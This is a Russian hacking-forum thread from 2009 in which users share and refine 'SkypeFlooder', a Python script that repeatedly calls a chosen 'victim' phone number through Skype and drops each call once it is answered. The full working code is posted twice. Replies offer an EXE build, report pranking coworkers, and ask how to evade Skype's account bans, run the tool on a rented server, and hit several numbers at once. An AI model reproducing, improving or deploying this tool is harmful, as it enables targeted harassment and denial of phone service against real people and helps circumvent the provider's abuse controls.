Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   [ Python ] SkypeFlooder by inlanger. Флудер телефонов от меня. (https://forum.antichat.xyz/showthread.php?t=116226)

inlanger 16.04.2009 17:07

[ Python ] SkypeFlooder by inlanger. Флудер телефонов от меня.
 
[ Python ] SkypeFlooder

Написал флудер телефонов на Python. Работает через Skype. В exe не компилировал, так как OpenSource. Забираем, тестируем, пишем свои предложения.
Перед запуском обязательно читаем шапку кода и качаем всё что нужно!
Код:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger

import sys, time, Skype4Py
from Skype4Py import call

num = raw_input("Input tel number, like +1234567890: ")
pause = raw_input("Input pause(sec): ")
while 1==1:
    # This variable will get its actual value in OnCall handler
    CallStatus = 0
   
    # Here we define a set of call statuses that indicate a call has been either aborted or finished
    CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
   
    def AttachmentStatusText(status):
      return skype.Convert.AttachmentStatusToText(status)
   
    def CallStatusText(status):
        return skype.Convert.CallStatusToText(status)
   
    # This handler is fired when status of Call object has changed
    def OnCall(call, status):
        global CallStatus
        CallStatus = status
        print 'Call status: ' + CallStatusText(status)
        if CallStatusText(status)=='Call in Progress': #Call in progress
            call.Finish()
            print "Waiting pause..."
   
   
    # This handler is fired when Skype attatchment status changes
    def OnAttach(status):
        print 'API attachment status: ' + AttachmentStatusText(status)
        if status == Skype4Py.apiAttachAvailable:
            skype.Attach()
   
    # Let's see if we were started with a command line parameter..
    try:
        CmdLine = num
    except:
        print 'Missing command line parameter'
        sys.exit()
   
    # Creating Skype object and assigning event handlers..
    skype = Skype4Py.Skype()
    skype.OnAttachmentStatus = OnAttach
    skype.OnCallStatus = OnCall
   
    # Starting Skype if it's not running already..
    if not skype.Client.IsRunning:
        print 'Starting Skype..'
        skype.Client.Start()
   
    # Attatching to Skype..
    print 'Connecting to Skype..'
    skype.Attach()
    skype.PlaceCall(CmdLine)
   
    # Checking if what we got from command line parameter is present in our contact list
    Found = False
   
   
    # Loop until CallStatus gets one of "call terminated" values in OnCall handler
    while not CallStatus in CallIsFinished:
        pass
   
    time.sleep(int(pause))

На данный момент программа:
  • запрашивает номер телефона жертвы
  • запрашивает паузу между звонками
  • звонит на номер жертвы и ждёт поднятия трубки
  • если жертва берёт трубку то программа сбрасывает звонок, ждёт паузу и заново звонит
  • если жертва жмёт "отбой вызова", то программа заново звонит
Деньги не успевают уйти с аккаунта! Если вдруг деньги успевают сниматься - поставьте больше паузу между звонками.

В следующей версии может быть прикручу GUI и оптимизирую код.
Все мелкие изменения будут тут , крупные буду выкладывать в теме.

Для тех, кто не знает что делать с кодом:
Устанавливаем всё, что написано в шапке кода. Создаём текстовый файл и копируем в него код. Сохраняем с расшерением .py и запускаем.


Вариант от login999, без английских коментов, с проверкой входных данных и другими мелкими изменениями: туц

Для тех, кто не хочет/не может/не умеет пользоваться питоном собрал ЕХЕ файл. В архиве 3 файла - сама программа, библиотеки к ней и файл vcredist_x86.exe, для тех, у кого программа выдаёт ошибку. Ошибка связана с тем, что ХР и более ранние версии виндузов используют старые сишные библиотеки. Качать отсюда . Просьба не выкладывать на обменники!

Yanker 16.04.2009 17:13

Отлично работает, +1 за такую софтину!!

Zitt 16.04.2009 17:21

кул... автор молодец....

inlanger 16.04.2009 18:21

Пишем отзывы, кто уже пользовался... Мне же надо знать в какую сторону его дорабатывать.

inlanger 17.04.2009 00:10

Читай внимательнее описание и код. Там всё написано как запускать.

Моргaн 17.04.2009 00:11

чего то собрал всё как на писали нажал и черное окно открылось и закрылось:(

iron-viper 17.04.2009 00:21

запусти через командную строку если в венде. Пуск - выполнить - cmd а затем туда перетяни скрипт и нажми "ввод" возможно у тебя не так собралось или еще что, но ты не успеваешь ошибку увидеть, пробуй, так точно увидишь если что не так.

Моргaн 17.04.2009 00:25

Цитата:

Сообщение от iron-viper
запусти через командную строку если в венде. Пуск - выполнить - cmd а затем туда перетяни скрипт и нажми "ввод" возможно у тебя не так собралось или еще что, но ты не успеваешь ошибку увидеть, пробуй, так точно увидишь если что не так.

сделал и ничего не понял :(

Моргaн 17.04.2009 00:27

Цитата:

Сообщение от inlanger
Читай внимательнее описание и код. Там всё написано как запускать.

видео сделай чтоб люди знали как делать а то не понятно много чего :cool:

iron-viper 17.04.2009 00:39

видео думаю лишнее, что ты не понял? расскажи что не ясно?

_Kris_ 17.04.2009 00:43

Цитата:

Сообщение от De-visible
Для начала модуль скайпа скачай...
И запускать не обязательно, через командную строку...
Эх...хэккеры...
Кстати еще, скрипт кривой...Точнее не кривой, но бля.дь такой сырой...((((Если что могу поправить...

Стучать если что в его асю...

Моргaн 17.04.2009 00:45

знал бы я его асю:)

_Kris_ 17.04.2009 00:49

https://forum.antichat.ru/member.php?u=47566

iron-viper 17.04.2009 09:53

=)

inlanger 17.04.2009 10:35

Цитата:

Кстати еще, скрипт кривой...Точнее не кривой, но бля.дь такой сырой...((((Если что могу поправить...
Я же писал, что в следующих версиях буду работать с кодом. А сейчас выложил первую, нормально работающую версию.

А для тех, у кого не запускается, и они не умеют читать тексты ошибок - ждите следующую версию. Думаю к ней будет и exe файл.

login999 17.04.2009 10:44

Цитата:

Сообщение от inlanger
Я же писал, что в следующих версиях буду работать с кодом. А сейчас выложил первую, нормально работающую версию.

А для тех, у кого не запускается, и они не умеют читать тексты ошибок - ждите следующую версию. Думаю к ней будет и exe файл.

А для тех у кого не запускается, а точнее для питона, то добавьте вначале перед комментами
Код:

#!/usr/bin/python
# -*- coding: <Название вашей кодировки (для винды обычно cp1251)> -*-

Ленимся, уважаемый inlanger, если пишем комменты на русском, то кодировку нужно указывать...

inlanger 17.04.2009 11:42

login999, блин, коменты дописывал в процессе написания поста.

login999 17.04.2009 12:03

Немного переделал. как мне удобнее+ сделал какую-никакую проверку входных значений + русифицировал и снес английские комменты, так как лично мне они затрудняли чтение кода :)

Насчет работоспособности то нет возможности проверить, так как дома буду не раньше понедельника, а на работе скайпа нету :(, да и акков с балансом тоже нету, да и с синтаксисом для меня тут есть непонятки. Буду дома - потыкаю поближе , так как без скайпа это имеет мало смысла :(
Был бы благодарен, если бы в личку подкинули акк с балансом :rolleyes:

Код:

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
# Для работы необходимы:
# Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
# Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
# Skype: http://www.skype.com/intl/ru/download/
#
# version 0.2
# created by inlanger

import sys, time, Skype4Py
from Skype4Py import call

skype = Skype4Py.Skype()

def OnCall(call, status):
        global CallStatus
        CallStatus = status
        print u"Статус звонка: " + skype.Convert.CallStatusToText(status)
        if CallStatusText(status)=="Call in Progress":
                call.Finish()
                print u"Ждем-с..."
               
def OnAttach(status):
        print u"API статус присоединенного: " + skype.Convert.AttachmentStatusToText(status)
        if status == Skype4Py.apiAttachAvailable:
                skype.Attach()

print u"Введите номер телефона, например +1234567890: "
num = raw_input("")
print u"Ведите паузу (в секундах): "
pause = raw_input("")

while True:
    CallStatus = 0
    CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
    if num[-1:].isdigit():
        if pause.isdigit():
                skype.OnAttachmentStatus = OnAttach
                skype.OnCallStatus = OnCall
                if not skype.Client.IsRunning:
                        print u"Запускаем Skype.."
                        skype.Client.Start()
                print u"Присоединяемся к Skype.."
                skype.Attach()
                skype.PlaceCall(num)
                Found = False
                while not CallStatus in CallIsFinished:
                        pass
                time.sleep(int(pause))
              else:
                      print u"Прекратите ху*нё* страдать! Введите ЦИФЕРНОЕ значение паузы!"
                      keypressed = raw_input("")
                      sys.exit()
    else:
        print u"Может нормальный номер телефона введем ?"
        keypressed = raw_input("")
        sys.exit()


inlanger 17.04.2009 12:14

login999, надо будет как-то помечать свои изменения. Например, напротив своей строчки писать @author login999
Чтобы потом собрать одну нормальную версию и не забыть всех авторов )

login999 17.04.2009 12:21

Цитата:

Сообщение от inlanger
login999, надо будет как-то помечать свои изменения. Например, напротив своей строчки писать @author login999
Чтобы потом собрать одну нормальную версию и не забыть всех авторов )

Честно говоря, я уже привык к пиратству, так что пох на цоперайты - мать их, все равно опенсорс, тем более что изменений как таковых то и нету - по мелочи чисто, буду дома - углублюсь нормально, главное чтоб линию сделали, ато уже вторые сутки дома без инета :(

inlanger 17.04.2009 12:22

login999, насчёт комента к репе )
Разве skype умеет звонить сразу на несколько номеров? Или можно запускать несколько скайпов? Зачем многопоточность?

login999 17.04.2009 12:34

Цитата:

Сообщение от inlanger
login999, насчёт комента к репе )
Разве skype умеет звонить сразу на несколько номеров? Или можно запускать несколько скайпов? Зачем многопоточность?

А вот я хер его знает, если честно, умеет ли он сразу звонить нескольким, но вроде умеет (конференции то можно создавать) :)
Но посмотреть то можно, авось чего-то получится :)

Wo|f 17.04.2009 15:42

гуденг.. работает (:

mad_xakep 17.04.2009 15:50

Цитата:

Сообщение от inlanger
login999, насчёт комента к репе )
Разве skype умеет звонить сразу на несколько номеров? Или можно запускать несколько скайпов? Зачем многопоточность?

может , я пробывал звонил на два номера сам молчу а они между собой ругаются выясняют кто кому звонит

Wo|f 17.04.2009 16:29

Заметил, что бабло со счета снимают.. первый звонок халявный.. следующий - уже снимают =\

inlanger 17.04.2009 16:53

У меня не снимает ни копейки. Тестирую активно, прикалываюсь над сотрудниками. Попробуй поставить паузу дольше между звонками. Я тестирую с паузой 5 секунд.

Wo|f 18.04.2009 11:43

Ставил паузу больше.. один хер.
Скрин звонков... дабы не пездеть (:
http://i036.radikal.ru/0904/d3/d81b871c97eat.jpg

inlanger 18.04.2009 11:55

Странно, за два дня теста ни цента не сняло. Может у тебя инет медленный, и скайп не успевает реагировать на начало разговора?

Wo|f 18.04.2009 12:01

Инет не ахти конечно.. но думаю 256 кило должно хватить.. =\

inlanger 18.04.2009 12:11

Вот сейчас проверял на своём телефоне. Брал трубку и сразу, и давал немного позвонить и т.д. Ничего не сняло.
http://img2.pict.com/a7/15/c8/5e349d.../untitled2.gif

ImmortalWarrior 26.04.2009 20:47

Люди! Некоторое время пользовался похожим скриптом на vbs (тож сам писал), и у меня возникали следующие проблемы :confused: :
1) через 1-2 часа работы скрипта сам Скайп вылетал с ошибкой: что-то типа "extarnal error bla-bla division by zero" (версия клиента последняя - 4.0.216, вроде); приходилось каждые 2 часа перезапускать процессы; много людей сталкивалось с этим глюком Скайп? может стоить попробовать старую версию 3.8.ххх? :confused:
2) аккаунты Скайп блокировались примерно через полтора дня (в среднем); это что, каждый день покупать новый аккаунт? кто как боролся с их политикой блокировки? :confused:

По поводу многопоточности: да, Скайп поддерживает конференцию, но для флуда это мало что дает, т.к. если одна из целей возьмет трубку, надо сразу же заканчивать звонок, т.е. всю конференцию; плюс в документации четко сказано, что в каждый момент может существовать не более одного звонка. Может кто мучал конференции и нашел какой-то обход? :confused:

Ну, и по теме: уверен, что такого рода скрипты подойдут только для баловства (для новичков, для теста) :) , т.к. их возможности ограничены. Сам долго мучался, потом плюнул и написал нормальную прогу на Delphi...На сайте для разработчиков есть вся необходимая документация. ;)

З.Ы. сорри за небольшой оффтоп :)

login999 27.04.2009 10:25

Цитата:

Сообщение от ImmortalWarrior
Люди! Некоторое время пользовался похожим скриптом на vbs (тож сам писал), и у меня возникали следующие проблемы :confused: :
1) через 1-2 часа работы скрипта сам Скайп вылетал с ошибкой: что-то типа "extarnal error bla-bla division by zero" (версия клиента последняя - 4.0.216, вроде); приходилось каждые 2 часа перезапускать процессы; много людей сталкивалось с этим глюком Скайп? может стоить попробовать старую версию 3.8.ххх? :confused:
2) аккаунты Скайп блокировались примерно через полтора дня (в среднем); это что, каждый день покупать новый аккаунт? кто как боролся с их политикой блокировки? :confused:

По поводу многопоточности: да, Скайп поддерживает конференцию, но для флуда это мало что дает, т.к. если одна из целей возьмет трубку, надо сразу же заканчивать звонок, т.е. всю конференцию; плюс в документации четко сказано, что в каждый момент может существовать не более одного звонка. Может кто мучал конференции и нашел какой-то обход? :confused:

Ну, и по теме: уверен, что такого рода скрипты подойдут только для баловства (для новичков, для теста) :) , т.к. их возможности ограничены. Сам долго мучался, потом плюнул и написал нормальную прогу на Delphi...На сайте для разработчиков есть вся необходимая документация. ;)

З.Ы. сорри за небольшой оффтоп :)

Скажи мне, а в чем отличие скрипта от проги ?
Ты наверное плохо понимаешь, что представляет из себя питон =\. Если ты опускаешь питон до уровня пхп или вбс, то я даже не знаю как тебе выразить свое возмущение , я тебе только дам ссылочку на одну страничку http://docs.python.org/modindex.html
P.S. Если я напишу гуй к этому скрипту, и сложу его в екзеху, то чем он будет отличаться от твоего кода на делфе ? Херню вы морознули, уважаемый =\

ImmortalWarrior 28.04.2009 01:49

Да, действительно, я говорил именно о vbs :) По поводу питона - ниче знать не знаю, поэтому дискутировать не могу; возможно, вы правы...
Цитата:

в чем отличие скрипта от проги ?
скрипт выполняется интерпретатором, прога компилится в машинный код; разница в быстродействии, для данной задачи она может быть существенной (у меня на vbs так и было); к примеру,не достаточно быстрое завершение звонка - улетают деньги с баланса;
А по поводу
Цитата:

Если я напишу гуй к этому скрипту, и сложу его в екзеху, то чем он будет отличаться от твоего кода на делфе ?
каким именно образом будет "сложение в екзеху": как обычно, архивация с последующей разархивацией скрипта и запуска в интерпретаторе? это ровным счетом ничего не изменит...есть ли настоящие "компиляторы" питона?

Но это так, к слову ... присмотрюсь еще к этому фрукту :)

login999 28.04.2009 09:26

Цитата:

Сообщение от ImmortalWarrior
Да, действительно, я говорил именно о vbs :) По поводу питона - ниче знать не знаю, поэтому дискутировать не могу; возможно, вы правы...

скрипт выполняется интерпретатором, прога компилится в машинный код; разница в быстродействии, для данной задачи она может быть существенной (у меня на vbs так и было); к примеру,не достаточно быстрое завершение звонка - улетают деньги с баланса;
А по поводу
каким именно образом будет "сложение в екзеху": как обычно, архивация с последующей разархивацией скрипта и запуска в интерпретаторе? это ровным счетом ничего не изменит...есть ли настоящие "компиляторы" питона?

Но это так, к слову ... присмотрюсь еще к этому фрукту :)

Да, сложение в экзеху будет происходить именно таким образом, если бы я имел в виду компилляцию, то я так бы и написал, а это просто "сложение" в моем понимании. Насчет компилляции в байт-код, у питона есть такое понятие как .pyc - Python Compilled, конечно же без интерпритатора их не запустишьи по скорости они проигрывают клмпилированному коду, да вот только разница в том. что он не до такой степени медленный, как вы себе вообразили, в качестве примера :
Цитата:

Google App Engine — Google-хостинг, использует Python для серверных приложений
BitTorrent — клиент-сервер для одного из протоколов файлообменных сетей
Portage — система пакетов, используемая Gentoo Linux
Википедия использует Python для написания ботов
Blender — кросплатформенный 3D редактор, Python использован для поддержки скриптов-плагинов
Civilization IV — популярная стратегическая игра.
Eve-online — MMORPG игра, для написания сервера и клиента использован Stackless Python
GIMP — растровый графический редактор, для написания скриптов используется Python
Minions of Mirth — MMORPG игра, Python использован как основной язык для написания логики сервера и клиента.
Maya — High-end редактор трёхмерной графики. Начиная с версии Maya 8.5 Python используется в качестве скриптового языка наравне с MEL (Maya Embedded Language). Кроме того, Maya Python API (интерфейс к C++ Maya API для Python) используется для создания расширений к Maya, а также для пакетной обработки данных.
Vampire: The Masquerade — Bloodlines — ролевая игра с элементами action, разработанная компанией Troika Games на движке Source от Valve Software, Python активно используется для написания сценария уровней.
Компании и организации, интенсивно использующие Python:
Яндекс
Apple использует Python и Twisted для разработки сервера календарей iCal
Google
NASA
Nokia
(c) Wikipedia

inlanger 28.04.2009 13:57

На днях пытался набросать гуй к этому делу, и понял, что это лишнее. Кому надо, тот и с консольным окошком разберётся, а школьнеги идут лесом!

Algol 28.04.2009 16:58

Цитата:

Сообщение от login999
что он не до такой степени медленный, как вы себе вообразили, в качестве примера :
[skipped]
(c) Wikipedia

И что мы видим из приведенных примеров? То что питон используется вместо самописных скриптов, от которых не требуется особое быстродействие, и которые не имеют никакого отношения к ресурсоемкой части игрушки, а именно 3d-движку.
Вот если бы сам движок был на питоне - тогда да, можно было бы говорить о быстродействии питона...

qwerra 28.04.2009 17:01

inlanger
Всё же,как насчёт ехе?
На домашнем железе перл можно поставить,но как быть с дедиком? Нагружать его лишним софтом не очень то...
Ждём)

login999 28.04.2009 18:05

Цитата:

Сообщение от Algol
И что мы видим из приведенных примеров? То что питон используется вместо самописных скриптов, от которых не требуется особое быстродействие, и которые не имеют никакого отношения к ресурсоемкой части игрушки, а именно 3d-движку.
Вот если бы сам движок был на питоне - тогда да, можно было бы говорить о быстродействии питона...

Eve-online — MMORPG игра, для написания сервера и клиента использован Stackless Python
Civilization IV — популярная стратегическая игра.
Скажем так, я не питаю иллюзий на тему его сверхбыстродействия и бла-бла-бла, прочая, прочая, прочая мое возмущение было вызвано тем, что человек написал что питон может быть достаточно медленным для того чтобы оборвать соединение в нужное время. Для меня например яснее ясного что питон медленне С,С++ и прочих компиллируемых языков, но основными его коньками являются скорость разработки и офигенная читабельность кода. На уровне быдлокодинга, которым занимается ~80%(я вхожу в эти 80%) здешних кодеров питона не то что за глаза, а еще больше хватит, да еще и с лишком будет, а его скорости и подавно. А эта тема, между прочим, уже затрагивалась, у вас, уважаемый Алгол, какая-то нездоровая неприязнь к питону, никто же вас не заставляет переходить на него, а о разработке мощных приложений в данном топике не то что речи не было, а и не будет, так как неоткуда им тут взяться

inlanger 28.04.2009 21:26

Цитата:

Всё же,как насчёт ехе?
то, что есть сейчас можно собрать в ехе за 2 минуты )

qwerra 29.04.2009 00:16

Цитата:

Сообщение от inlanger
то, что есть сейчас можно собрать в ехе за 2 минуты )

Хотелось бы доверицца профессионалу :D


Время: 11:35